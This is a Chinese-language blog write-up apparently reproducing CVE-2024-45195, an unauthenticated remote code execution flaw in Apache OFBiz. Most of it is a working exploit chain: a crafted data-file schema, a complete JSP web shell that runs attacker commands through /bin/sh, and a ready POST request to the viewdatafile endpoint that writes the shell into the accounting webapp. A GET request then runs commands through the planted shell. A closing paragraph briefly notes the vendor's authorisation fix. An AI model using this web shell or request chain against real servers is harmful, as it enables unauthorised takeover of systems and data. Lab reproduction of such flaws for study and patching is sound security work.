0%

CVE-2024-45195

CVE-2024-45195

这个漏洞是一个影响Apache OFBiz的未授权远程代码执行漏洞,成因还是和其他几个rce一样,根本原因在于web应用程序中缺少视图授权检查,通过特定的接口将恶意文件写入服务器,从而执行任意的代码,例如攻击者可以使用viewdatafile接口将恶意 的csv文件内容写入任意文件,实现写入shell

漏洞复现

首先先准备两个恶意文件,先创建一个rceschema.xml文件:

1
2
3
4
5
6
7
8
9
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0"
encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>

再创建一个csv文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import='java.io.*' %> 
<%@ page import='java.util.*' %>
<h1>Ahoy!</h1>
<br>
<% String getcmd = request.getParameter("cmd");
if (getcmd != null)
{
out.println("Command: " + getcmd + "<br>");
String cmd1 = "/bin/sh";
String cmd2 = "-c";
String cmd3 = getcmd;
String[] cmd = new String[3];
cmd[0] = cmd1;
cmd[1] = cmd2;
cmd[2] = cmd3;
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null)
{
out.println(disr);
disr = dis.readLine();
}
} %>

随后利用

1
python3 -m http.server

运行一个静态服务器,放上这两个文件

随后是利用的poc

1
2
3
4
5
6
7
8
POST /webtools/control/main/viewdatafile HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 241

DATAFILE_LOCATION=http://127.0.0.1:8000/pwn.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/shell.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://127.0.0.1:8000/rce.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

以春秋云境的靶场为例,稍微改改poc就可以直接使用了

1
2
GET /accounting/shell.jsp?cmd=id HTTP/1.1 
Host: 目标网址

春秋云境的靶场貌似有点问题

image-20250713021813833

官方在修复该漏洞时,除了在各种配置文件中加入了 auth 配置,更重要的是在 RequestHandlerrenderView 方法中也加入了鉴权逻辑,确保后续无论渲染哪个路径都会进行鉴权1

通过这些措施,Apache OFBiz 的安全性得到了显著提升,防止了未经授权的访问和远程代码执行。